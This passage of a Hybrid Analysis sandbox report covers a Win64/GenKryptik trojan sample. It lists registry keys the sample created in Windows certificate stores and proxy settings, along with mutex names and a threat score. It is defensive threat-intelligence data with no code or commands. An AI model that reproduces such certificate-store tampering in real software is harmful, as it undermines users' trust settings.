ilters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"name":"Local\\SM0:5492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4656:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:4656:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8812:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:8812:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:4108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9928:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:9928:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:9372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9096:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:9096:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:2724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4692:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:4692:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:4240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4588:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:4588:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"name":"Local\\SM0:9248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]}]}},"report_ids":{"sandbox_job_ids":["6a2e0ba81930917bb402ccef","6a2e0b9bf761e3750c05d891","6a2e063c4f2fca19d3085c57"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win64/GenKryptik.HRGN trojan Sample 70d629ad6571… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 70d629ad6571…. Malware family: Win64/GenKryptik.HRGN trojan. Threat score 100/100. 4/27 AV engines flagged this file. 6 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811"}],["$","meta","4",{"property":"og:title","content":"Malicious Win64/GenKryptik.HRGN trojan Sample 70d629ad6571… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 70d629ad6571…. Malware family: Win64/GenKryptik.HRGN trojan. Threat score 100/100. 4/27 AV engines flagged this file. 6 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win64/GenKryptik.HRGN trojan Sample 70d629ad6571… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 70d629ad6571…. Malware family: Win64/GenKryptik.HRGN trojan. Threat score 100/100. 4/27 AV engines flagged this file. 6 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L73","11",{}]]